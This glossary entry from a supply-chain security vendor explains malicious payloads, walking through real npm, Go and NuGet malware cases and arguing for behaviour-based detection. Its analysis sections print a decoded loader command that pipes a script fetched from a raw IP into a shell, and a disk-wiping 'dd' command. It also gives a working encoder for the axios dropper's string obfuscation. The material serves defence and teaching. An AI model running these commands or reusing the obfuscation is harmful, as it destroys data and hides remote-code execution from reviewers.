# Payload

> In cyber security, a payload is the part of an attack that does the damage, like stealing secrets or opening a backdoor, once something else runs it.

Also known as: Malicious payload, Malware payload, Exploit payload, Staged payload, Second-stage payload, Payload in cyber security

Source: https://socket.dev/glossary/payload

Last updated: 2026-11-01

A payload, also called a malicious payload, is the part of a cyber security attack that carries out the attacker's goal: stealing credentials, opening a remote shell, wiping a disk. A separate delivery mechanism, such as an exploit or an npm postinstall script, runs it. In open source packages, the payload often is not in the published code.

The split between delivery and payload is the most useful idea for defending a dependency tree. Delivery code has to ship inside the package, because the registry is how it reaches you. The payload does not. In the [axios compromise](https://socket.dev/blog/axios-npm-package-compromised) of March 2026, the malicious code npm installed was a 4,209-byte dropper. The [remote access trojan](https://socket.dev/glossary/remote-access-trojans-rats) it launched on macOS came from the attacker's server, and the dropper deleted itself afterwards.

Our position follows from that. Hunting for payloads means chasing artifacts that change per victim, change per hour, or never touch the registry at all. The delivery code is the stable signal: an install hook, a network fetch, a decode loop, a spawned shell. We analyze what the package code does, before install, because by the time a payload runs the outcome is already decided.

## What is a payload in cyber security?

A payload in cyber security is the code that performs an attacker's objective once a delivery step has given it a chance to run. The word comes from networking, where a packet's payload is the data it carries and the headers are the envelope around it. Attacks have the same two layers. An [exploit](https://socket.dev/glossary/exploit), a phishing attachment, or a malicious dependency is the envelope. The payload is what arrives inside it.

Exploit frameworks made the split formal. [Metasploit's payload documentation](https://docs.metasploit.com/docs/using-metasploit/basics/how-payloads-work.html) separates singles, which are self-contained, from staged payloads, which arrive in two parts. In its words, "Stagers are a small stub designed to create some form of communication and then pass execution to the next stage." The stage that follows can be arbitrarily large, because the stager has already solved transport and size limits.

The same vocabulary describes package malware precisely, so we use it throughout this entry:

| Term | Role | Example in a package attack |
| --- | --- | --- |
| Trigger | The event that first runs attacker code | An npm postinstall hook, a Go package initializer, a date check |
| Exploit | Code that abuses a vulnerability to gain execution | Rarely needed: the package manager already runs publisher code |
| Stager or loader | A small stub that fetches the next stage | A 4 KB setup.js that POSTs to a server and runs the reply |
| Dropper | Code that writes a payload to disk and launches it | The same script writing a Python file to /tmp and starting it |
| Single (stageless) | Delivery and payload shipped as one artifact | A worm that ships its whole credential stealer in one bundle.js |
| Payload | The code that does the damage | A remote access trojan, a disk wiper, a credential stealer |

The exploit row is why package attacks are cheap. npm, PyPI, NuGet, and Go modules exist to run code written by strangers on your machine. A [malicious package](https://socket.dev/glossary/malicious-package) does not break that trust model. It uses the model exactly as designed, so the attacker's only engineering problems are getting a trigger to fire and getting a payload to arrive.

## What do malicious payloads in packages do?

Malicious payloads in packages mostly steal credentials, because developer laptops and CI runners hold the tokens that unlock everything downstream. Destruction, sabotage, and financial theft make up most of the rest.

The [Shai-Hulud](https://socket.dev/glossary/shai-hulud) worm is the clearest credential-theft case. In the September 2025 wave that reached [CrowdStrike's npm packages](https://socket.dev/blog/ongoing-supply-chain-attack-targets-crowdstrike-npm-packages), its bundle.js ran TruffleHog, validated npm, GitHub, and cloud tokens, wrote a GitHub Actions workflow into the victim's repositories, and republished the victim's own packages with itself inside. Remote access was the goal in the axios case. Destruction was the goal in three [Go modules that fetched a disk wiper](https://socket.dev/blog/wget-to-wipeout-malicious-go-modules-fetch-destructive-payload) in April 2025. Sabotage was the goal in nine [NuGet packages from the alias shanhai666](https://socket.dev/blog/9-malicious-nuget-packages-deliver-time-delayed-destructive-payloads), which hid a roughly 20-line payload inside thousands of lines of working database code.

Two payloads were built to run beyond the developer's machine. The [chalk and debug compromise](https://socket.dev/blog/npm-author-qix-compromised-in-major-supply-chain-attack) in September 2025 shipped code that checked for `window`, then hooked `fetch`, `XMLHttpRequest`, and `window.ethereum` to swap cryptocurrency addresses in the browsers of people visiting affected sites. The [event-stream incident](https://socket.dev/blog/limitations-of-cve-based-security-scanners) in 2018 targeted a single Bitcoin wallet app, Copay, and stayed encrypted everywhere else.

| Objective | Case | What the payload did | Where it ran |
| --- | --- | --- | --- |
| Credential theft and spread | Shai-Hulud, Sep 2025 | Ran TruffleHog, validated tokens, added a GitHub Actions workflow, republished packages | Developer machines and CI |
| Remote access | axios, Mar 2026 | Beaconed to its C2 every 60 seconds; accepted peinject, runscript, rundir, and kill commands | Developer machines and CI |
| Destruction | Go modules prototransform, go-mcp, tlsproxy, Apr 2025 | Downloaded done.sh, which runs dd if=/dev/zero of=/dev/sda | Linux hosts running the program |
| Sabotage | shanhai666 NuGet packages, published 2023 to 2024 | After 2027 and 2028 trigger dates, a 20% chance per database query of killing the process | Production .NET apps and PLC software |
| Browser theft | chalk and debug, Sep 2025 | Rewrote wallet addresses in fetch and XHR traffic | End users' browsers |
| Targeted theft | event-stream, 2018 | Decrypted only inside Copay's build, then harvested wallet keys | One company's app |

The last column matters as much as the third. The same dependency can deliver a payload to a build machine, a production server, or a stranger's browser, and the defenses for each are different.

## How does a malicious package run its payload?

A malicious package runs its payload when a trigger executes the package's code, and package managers supply most triggers by design. In npm, [install scripts](https://socket.dev/glossary/postinstall-scripts) named `preinstall`, `install`, and `postinstall` run during `npm install`, according to [npm's scripts documentation](https://docs.npmjs.com/cli/v11/using-npm/scripts). A package with a `binding.gyp` file at its root gets an implicit install step, `node-gyp rebuild`, even when package.json declares no script.

Attackers use both paths. The axios dropper used `postinstall`. The [Miasma](https://socket.dev/supply-chain-attacks/miasma-mini-shai-hulud-supply-chain-attack) campaign's "Phantom Gyp" waves shipped a small binding.gyp whose command expansion ran `node index.js`, which slipped past scanners that only read the scripts field.

Go has no install hooks at all, which is why the Go wiper modules used a different trigger. Their loader sat in a package-level variable initializer, and Go runs those initializers when any program that imports the package starts. We reproduced the shape with a harmless module:

```go
package lib

import "fmt"

// Same shape as the malicious modules: a package-level var
// whose initializer is a function call with side effects.
var _ = stage()

func stage() error {
	fmt.Println("[lib] package initializer ran: a real module would exec the decoded command here")
	return nil
}

func Parse(s string) string { return s }
```

```go
package main

import (
	"fmt"

	"example.com/demo/lib"
)

func main() { fmt.Println("[app] main() starts:", lib.Parse("ok")) }
```

```sh
$ go build -o appbin ./app      # prints nothing: building runs no package code
$ ./appbin
[lib] package initializer ran: a real module would exec the decoded command here
[app] main() starts: ok
```

Neither `go get` nor `go build` executes the module. The first `go run`, `go test`, or production start does, before `main` gets control.

North Korea's [Contagious Interview](https://socket.dev/supply-chain-attacks/north-korea-s-contagious-interview-campaign) operation moves the trigger later still. In an [April 2026 cluster](https://socket.dev/blog/contagious-interview-campaign-spreads-across-5-ecosystems) spanning npm, PyPI, Go modules, crates.io, and Packagist, the loaders sat behind ordinary methods such as `Logger::trace` in a logging crate and `find_by_key()` in a license library. Our researchers found that the threat actors "did not generally rely on install-time execution."

| Trigger | Runs when | Case | Blocked by install-script defaults |
| --- | --- | --- | --- |
| Lifecycle script | npm install | axios, Mar 2026 | Yes |
| Implicit node-gyp rebuild | npm install, with no script declared | Miasma Phantom Gyp, Jun 2026 | Yes |
| Package initializer | A program or test that imports it starts | Go wiper modules, Apr 2025 | No (not npm, and not install time) |
| Ordinary API call | The first call to a normal-looking function | Contagious Interview, Apr 2026 | No |
| Date or probability gate | After Aug 8, 2027 or Nov 29, 2028, on 20% of calls | shanhai666 NuGet packages | No |
| Environment key | Only inside the target's own build | event-stream, 2018 | No |
| Browser runtime | When end users load the bundled site | chalk and debug, Sep 2025 | No |

Install-time controls close the first two rows, and those rows matter most today. Our analysis of [npm v12](https://socket.dev/blog/npm-12) found that almost every worm and credential stealer on the registry since late 2025 ran at install time. npm v12, generally available since July 8, 2026, skips dependency install scripts and the implicit node-gyp rebuild unless you allow them. [pnpm 10](https://socket.dev/blog/pnpm-10-0-0-blocks-lifecycle-scripts-by-default) made the same call in January 2025. Default-on lifecycle scripts were a design mistake, and both new defaults are correct. The other five rows are untouched by them.

## Anatomy of a staged payload: the axios compromise

The axios compromise shows a staged payload end to end, and the payload itself was never published. Attackers pushed axios@1.14.1 and axios@0.30.4 to npm 39 minutes apart. Both releases added the same new dependency, [plain-crypto-js@4.2.1](https://socket.dev/blog/axios-npm-package-compromised), whose `postinstall` hook ran a dropper called setup.js. Axios had about 100 million weekly downloads at the time, so any project with a caret range like `^1.14.0` pulled the dropper on its next install that resolved versions fresh.

Step by step, the figure shows:

1. `npm install` resolves `^1.14.0` to axios@1.14.1, which depends on plain-crypto-js@4.2.1.
2. npm runs the `postinstall` hook, `node setup.js`. The 4,209-byte setup.js is the only malicious file in the tarball.
3. setup.js decodes 18 hidden strings, checks `os.platform()`, and sends an HTTP POST to the [command-and-control (C2) server](https://socket.dev/glossary/command-and-control-c2) at sfrclak\[.\]com:8000. The POST body, packages.npm\[.\]org/product0, product1, or product2, selects macOS, Windows, or Linux and looks like registry traffic in logs. npm.org is not the npm registry.
4. The server returns the platform's second stage: a Mach-O binary written to /Library/Caches/com.apple.act.mond on macOS, a PowerShell script run through a copy of powershell.exe renamed wt.exe on Windows, and a Python script at /tmp/ld.py on Linux.
5. On macOS, the second stage is a C++ remote access trojan that fingerprints the host and beacons every 60 seconds.
6. setup.js deletes itself, deletes package.json, and renames a bundled package.md to package.json. That restores the clean 4.2.0 metadata with no `postinstall` hook, so node\_modules/plain-crypto-js looks like an ordinary copy of crypto-js.

As of November 2026, the npm registry still records the timeline but serves none of the code:

```sh
$ npm view plain-crypto-js versions description time --json
{
  "versions": [
    "0.0.1-security.0"
  ],
  "description": "security holding package",
  "time": {
    "created": "2026-03-31T04:26:32.907Z",
    "modified": "2026-03-31T04:26:35.731Z",
    "4.2.0": "2026-03-30T05:57:32.867Z",
    "4.2.1": "2026-03-30T23:59:12.278Z",
    "0.0.1-security": "2026-03-31T03:25:11.636Z",
    "0.0.1-security.0": "2026-03-31T04:26:33.055Z"
  }
}

$ npm view axios@1.14.1
npm error code E404
npm error 404 No match found for version 1.14.1
```

The malicious 4.2.1 went live at 23:59:12 UTC on March 30, and npm's security holding package replaced it at 03:25 UTC on March 31. Socket's automated malware detection flagged 4.2.1 at 00:05:41 UTC, six minutes after publish and 16 minutes before the first malicious axios release appeared, from the dropper alone. Nobody can download the dropper or the second stage from the registry today, and the second stage was never there to begin with. As we wrote in [The Hidden Blast Radius of the Axios Compromise](https://socket.dev/blog/hidden-blast-radius-of-the-axios-compromise), the absence of evidence after the fact is not strong evidence of absence.

Staging also lets an attacker publish a loader with nothing to load yet. The April 2026 Contagious Interview cluster included npm packages we labeled "sleeper package; not yet weaponized." A sleeper package can collect downloads and trust before it carries anything harmful. That campaign had more than 1,700 linked malicious packages by April 2026.

## Decoding a payload loader by hand

Loaders hide the address of the next stage, not the payload itself, and decoding one by hand shows how little is actually in the package. The Go wiper modules stored their command as a shuffled array of single characters and rebuilt it by index at run time, a form of [code obfuscation](https://socket.dev/glossary/code-obfuscation). This excerpt is adapted from the code Socket published:

```go
pBRPhsxN := runtime.GOOS == "linux"
bcbGOM := "/bin/sh"
vpqIU := "-c"
PWcf := DmM[11] + DmM[5] + DmM[47] + DmM[32] + /* 63 more lookups */ DmM[44]
if pBRPhsxN {
	exec.Command(bcbGOM, vpqIU, PWcf).Start()
}
```

Copying the array and the index order into Python recovers the command without running anything:

```python
DmM = ["4", "/", " ", "e", "/", "g", "d", "3", "6", " ", "4", "w", "/", "7", "d", ".", "O", " ", "s", "b", "5", "3", "/", "c", "t", "0", "4", "c", "h", " ", "f", "a", "t", "/", "i", "/", "1", "b", "n", "p", "t", "7", "d", "-", "&", ":", "4", "e", "t", "4", "-", "d", "4", "g", "o", "d", "s", "e", "r", "7", ".", "/", "|", ".", " ", "1", "h", " "]
idx = [11, 5, 47, 32, 29, 50, 16, 2, 43, 17, 66, 24, 40, 39, 45, 12, 4, 36, 49, 13, 15, 46, 20, 63, 0, 26, 60, 52, 65, 22, 56, 48, 54, 58, 31, 53, 3, 35, 51, 57, 7, 59, 21, 14, 25, 55, 30, 33, 23, 27, 42, 41, 19, 10, 8, 6, 67, 62, 9, 1, 37, 34, 38, 61, 18, 28, 64, 44]
print("".join(DmM[i] for i in idx))
```

```sh
$ python3 decode.py
wget -O - http://147.45.44.41/storage/de373d0df/ccd7b46d | /bin/sh &
```

The module contained a URL and a pipe to `/bin/sh`. The script Socket retrieved from one of the modules' staging URLs, done.sh, contained the payload: `dd if=/dev/zero of=/dev/sda bs=1M conv=fsync`, which overwrites the primary Linux disk with zeros. None of the wiper's bytes were ever in the Go module.

The axios dropper used a stronger scheme for its 18 strings: reverse the string, base64-decode it, then XOR each character with a digit from the key `OrDeR_7077` and the constant 333. The decoder below is adapted from the one Socket reconstructed. The `encode` function is our inverse, written to show what a scanner would actually see in the tarball:

```javascript
const _trans_1 = (x, r) => {
  const E = r.split("").map(Number);
  return x.split("").map((c, i) =>
    String.fromCharCode(c.charCodeAt(0) ^ E[7 * i * i % 10] ^ 333)).join("");
};
const _trans_2 = (x, r) => {
  const E = x.split("").reverse().join("").replaceAll("_", "=");
  return _trans_1(Buffer.from(E, "base64").toString("utf8"), r);
};
const encode = (s, r) =>
  Buffer.from(_trans_1(s, r), "utf8").toString("base64")
    .replaceAll("=", "_").split("").reverse().join("");

for (const s of ["child_process", "/tmp/ld.py"]) {
  const enc = encode(s, "OrDeR_7077");
  console.log(JSON.stringify(enc), "->", JSON.stringify(_trans_2(enc, "OrDeR_7077")));
}
```

```sh
$ node xor-demo.js
"_kLx+SMqE7KxlS8vE3LxSScqEHKxjScpE7Kx" -> "child_process"
"_QLx6S8oFnKxhSsoF3LxnScuELax" -> "/tmp/ld.py"
```

A search for `child_process` across the shipped file finds nothing. The decode loop, the call that loads whatever module name it produces, and the outbound request are still there in plain sight, because they have to be.

## Why payload signatures fail in package ecosystems

Payload signatures fail in package ecosystems because attackers can change a payload faster than defenders can hash it. Shai-Hulud's operator released seven versions of bundle.js, each with its own SHA-256, between 17:58 UTC on September 14 and 01:14 UTC on September 16, 2025:

| Version | First seen (UTC) | SHA-256 prefix | Change from the previous version |
| --- | --- | --- | --- |
| v1 | Sep 14, 17:58 | de0e25a3 | First observed compromise |
| v2 | Sep 14, 18:35 | 81d2a004 | Checks AWS credentials before reading secrets; targets Google Cloud instead of Azure |
| v3 | Sep 14, 20:29 | 83a650ce | Fixes race conditions, ends scans 30 seconds sooner |
| v4 | Sep 14, 21:01 | 4b239964 | Republishes up to 20 packages per maintainer instead of 10 |
| v5 | Sep 15, 02:11 | dc67467a | Always creates the exfiltration repository |
| v6 | Sep 15, 15:35 | 46faab8a | Adds a switch to skip the noisy filesystem scan |
| v7 | Sep 16, 01:14 | b74caeaa | Drops the bare-repository trick, keeps workflow and webhook exfiltration |

A blocklist built from v1 missed six of seven variants, and the worm's republishing turned each new hash into dozens or hundreds of package versions. Our compromised-package list for that wave reached 526 entries.

Miasma made the same point in a single afternoon. Its [June 26, 2026 wave](https://socket.dev/blog/miasma-mini-shai-hulud-hits-immobiliarelabs-npm-packages) republished 22 @immobiliarelabs package versions, and the published IOC list gives every version's index.js a different SHA-256. The binding.gyp that triggered it was byte-identical in all 22.

In Figure 2, the top row shows binding.gyp: the same SHA-256, beginning ef641e95, in all 22 package versions. The bottom row shows index.js: 22 different SHA-256 values, one per package version, beginning 1e7b, 1425, 8a71, 2ffe, 6009, 3b24, 8746, 99eb, 7cd2, ca89, ef89, 9d8e, 8df5, 6366, 0ccd, 0574, cf46, d2aa, 8e83, b82f, 1623, and cf5d. The trigger repeated exactly. The payload never did.

Some payloads refuse to run where a defender could watch them. The event-stream payload was AES-encrypted, and the decryption key was the description of the package consuming it, which only Copay's build supplied. npm's [incident report](https://blog.npmjs.org/post/180565383195/details-about-the-event-stream-incident) put it plainly: "the malicious code targeted developers at a company that had a very specific development environment setup." The shanhai666 database packages check the date first. A sandbox that installs one of them in 2026 sees working database code, because the earliest trigger date is August 8, 2027, and even then only 20% of queries fire.

Malware does not get a CVE in the normal course, and no advisory of any kind existed when these payloads first ran. A scanner that matches dependencies against vulnerability databases had nothing to match in any of these cases.

The constant across every case is the delivery code. A logging library that spawns a shell, an install hook that fetches a URL, a `binding.gyp` in a package with no native code, a decode loop over high-entropy strings: those properties have to ship in the package, and they are visible before anything runs. That is the basis of [behavior-based analysis](https://socket.dev/glossary/behavior-based-security). Socket's scanners flag those properties directly, with [alerts](https://socket.dev/alerts) such as Install scripts, Network access, Shell access, Obfuscated code, and Environment variable access, and that is how our detection flagged plain-crypto-js@4.2.1 six minutes after publish without needing its second stage.

Capability analysis has real costs. Legitimate packages download binaries in install scripts, including Playwright, Cypress, and Electron, so "install script plus network access" is a reason to look, not a verdict. It also has blind spots. The chalk and debug payload used only browser APIs that plenty of frontend code touches, and the NuGet sabotage came down to one `Process.GetCurrentProcess().Kill()` call behind a date check. Catching those needs analysis of intent in context, not a capability list.

## Blocking install scripts moves the trigger, not the payload

npm v12 and pnpm 10 remove the cheapest trigger, and attackers already have others. Contagious Interview put its loaders behind ordinary API calls. Go modules never had install time to block. The chalk and debug payload ran in end users' browsers, nowhere near an install.

Provenance does not close the gap either. Shai-Hulud and Miasma published from compromised maintainer accounts through legitimate pipelines, some with valid provenance. A signature tells you who published a stager. It cannot tell you what the stager's server will return tomorrow.

That is the open problem. A loader whose server is clean today can serve a remote access trojan next week without a new version, so the package you reviewed is not the package you run. Package managers now make install-time execution a permission you grant. Fetching and executing remote code at run time is still an ambient capability that every dependency gets for free, and until it is not, the most dangerous payloads will keep living where no registry scan can see them.
